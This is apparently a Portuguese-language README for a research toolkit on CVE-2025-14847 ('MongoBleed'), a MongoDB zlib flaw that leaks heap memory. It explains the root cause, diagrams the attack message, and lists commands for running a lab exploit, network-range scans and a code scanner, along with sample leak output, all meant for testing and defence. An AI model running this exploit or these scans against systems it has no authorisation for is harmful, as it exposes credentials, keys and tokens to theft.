🩸 MongoBleed - CVE-2025-14847 Laboratório de Pesquisa em Segurança
CVE-2025-14847 | CVSS 8.7 (Alto) | Divulgação de Memória Não Autenticada
CVE-2025-14847, apelidado de MongoBleed, permite que atacantes remotos não autenticados exfiltrem memória heap não inicializada explorando a lógica de descompressão zlib do MongoDB. Esta falha de alta gravidade expõe artefatos sensíveis, incluindo credenciais em texto simples e tokens de sessão, fornecendo um roteiro para movimentação lateral e tomada total do servidor.
📖 Documentação Completa →
TL;DR para Equipes de Engenharia
| Aspecto | Detalhes |
|---|
| O que é vulnerável | Camada de transporte de rede do servidor MongoDB usando compressão zlib |
| Gravidade | Alta (CVSS 8.7/7.5) |
| Impacto | Divulgação não autenticada e remota de memória heap não inicializada |
| Por que é importante | Fragmentos vazados contêm senhas de banco de dados, chaves secretas AWS e estados internos do servidor |
| Status do exploit | Prova de Conceito (PoC) pública "mongobleed" está validada e em circulação |
| O que fazer hoje | Atualize para versões corrigidas imediatamente ou desative a compressão zlib |
Escala de Exposição
- 87.000 - 194.000 instâncias MongoDB expostas publicamente
- 42% dos ambientes em nuvem afetados (Wiz Research)
- Nenhuma autenticação necessária - explora pré-autenticação
🔬 Anatomia da Vulnerabilidade
Análise Técnica
A vulnerabilidade existe na camada de transporte de rede do MongoDB (message_compressor_zlib.cpp) onde uma falha crítica na lógica de descompressão zlib permite que atacantes não autenticados vazem memória sensível do servidor.
Causa Raiz
// VULNERABLE CODE (before fix)
counterHitDecompress(input.length(), output.length());
return {output.length()}; // ❌ Returns ALLOCATED buffer size
// PATCHED CODE (after fix)
counterHitDecompress(input.length(), output.length());
return length; // ✅ Returns ACTUAL decompressed data length
Fluxo de Exploração
┌─────────────────────────────────────────────────────────────────────────────┐
│ MongoBleed Attack Vector │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ATTACKER VULNERABLE MongoDB │
│ │ │ │
│ │ 1. Send OP_COMPRESSED message │ │
│ │ uncompressedSize: 8192 (LIE) │ │
│ │ actual data: ~100 bytes │ │
│ │────────────────────────────────────> │
│ │ │ │
│ │ 2. Allocate 8192-byte buffer │
│ │ 3. Decompress ~100 bytes │
│ │ 4. BUG: Return buffer.length() = 8192 │
│ │ 5. BSON parser reads uninitialized memory │
│ │ │ │
│ │ 6. Error response with leaked │ │
│ │ memory as "field names" │ │
│ │<──────────────────────────────────── │
│ │ │ │
│ 🔓 LEAKED DATA: │ │
│ - API keys, passwords, tokens │
│ - MongoDB internal state │
│ - WiredTiger storage configs │
│ - System /proc information │
│ - Client connection data │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Versões Afetadas
Linha do Tempo da Descoberta
| Data | Evento |
|---|
| 15 Dez 2025 | Vulnerabilidade identificada; ticket interno SERVER-115508 |
| 19 Dez 2025 |
📁 Estrutura do Projeto
mongobleed-exploit-CVE-2025-14847/
├── exploit/ # 🔴 Laboratório de Exploit
│ ├── docker-compose.yml # Instâncias MongoDB Vulnerável + Corrigida
│ ├── mongobleed.py # PoC de exploit de vazamento de memória
│ ├── init/init-mongo.js # Dados de teste sensíveis
│ ├── test-exploit.sh # Script de teste do laboratório
│ └── README.md # Documentação do laboratório
│
├── scanner/ # 🌐 Scanner de Rede
│ ├── mongobleed_scanner.py # Scanner de vulnerabilidade de IP/domínio
│ ├── sample-targets.txt # Arquivo de alvos de exemplo
│ └── README.md # Documentação do scanner
│
├── code-scan/ # 📂 Scanner de Código
│ ├── main.py # Ponto de entrada CLI
│ ├── scanners/ # Scanners Docker, Python, Infra
│ ├── models/ # Modelos de achados, vulnerabilidades
│ ├── integrations/ # Upload para Phoenix Security
│ └── README.md # Documentação do scanner de código
│
└── original-exploit/ # 📚 Referência da PoC original
🚀 Início Rápido
1. Laboratório de Exploit
cd exploit
# Start lab (vulnerable + patched instances)
docker-compose up -d
sleep 10
# Test vulnerable instance (should leak memory)
python3 mongobleed.py --host localhost --port 27017
# Test patched instance (should NOT leak memory)
python3 mongobleed.py --host localhost --port 27018
# Full lab test
./test-exploit.sh
2. Scanner de Rede
cd scanner
# Scan single host
python3 mongobleed_scanner.py 192.168.1.100
# Scan network range
python3 mongobleed_scanner.py 192.168.1.0/24
# Scan from file
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json
3. Scanner de Código
cd code-scan
# Scan project for vulnerable MongoDB versions
python3 main.py scan /path/to/project
# Scan and upload to Phoenix
python3 main.py scan /path/to/project --upload-phoenix
# Run tests
python3 main.py test
⚡ Comandos Rápidos
# === EXPLOIT LAB ===
# Start lab
cd exploit && docker-compose up -d && sleep 10
# Run exploit (vulnerable instance)
python3 exploit/mongobleed.py --host localhost --port 27017
# Run exploit (patched instance - verify no leaks)
python3 exploit/mongobleed.py --host localhost --port 27018
# === NETWORK SCANNER ===
# Scan local lab
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018
# Scan network
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20
# === CODE SCANNER ===
# Scan current directory
python3 code-scan/main.py scan .
# Scan with JSON output
python3 code-scan/main.py scan /path/to/project --json --output results.json
# Scan and upload to Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix
📊 Exemplos de Saída
Saída do Exploit
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Target: localhost:27017
[*] Scanning offsets 20-8192...
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...
[!] TARGET IS VULNERABLE TO CVE-2025-14847
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[!] Potential secrets detected:
• RSA Private Key
• Lab Secret
Saída do Scanner de Rede
[*] Scanning 254 targets with 10 threads...
[1/254] 192.168.1.10:27017 - 8.2.2 [VULNERABLE - CONFIRMED]
[2/254] 192.168.1.11:27017 - 8.2.3 [SAFE]
SUMMARY:
----------------------------------------
Total targets scanned: 254
Reachable hosts: 12
MongoDB instances: 8
VULNERABLE: 3
Saída do Scanner de Código
================================================================================
MONGOBLEED CODE SCANNER REPORT - CVE-2025-14847
================================================================================
🚨 VULNERABLE MONGODB VERSIONS DETECTED
1. [email protected]
File: /project/docker-compose.yml
Type: docker-compose
Reason: Version 8.2.2 is in vulnerable range [8.2.0 - 8.2.2]
✅ Upgrade to: 8.2.3
CVE: CVE-2025-14847
Todos os scanners suportam o upload de descobertas para a plataforma Phoenix Security:
# Create config
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config
# Edit with your credentials
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud
# Scan and upload
python3 code-scan/main.py scan /path/to/project --upload-phoenix
🔐 Aviso de Segurança
⚠️ IMPORTANTE: Este kit de ferramentas é fornecido apenas para fins autorizados de teste de segurança e pesquisa.
- Apenas teste sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar.
- O acesso não autorizado a sistemas de computador é ilegal.
- Dados vazados podem conter informações sensíveis - manuseie com responsabilidade.
- Relate vulnerabilidades através dos canais apropriados de divulgação.
📚 Documentação
🔗 Referências Externas
👤 Créditos
- Exploit original por Joe Desimone (@dez_)
- Ambiente de laboratório e melhorias no scanner para pesquisa em segurança.
📄 Licença
Apenas para testes de segurança autorizados. Use com responsabilidade.
Última atualização: Dezembro de 2025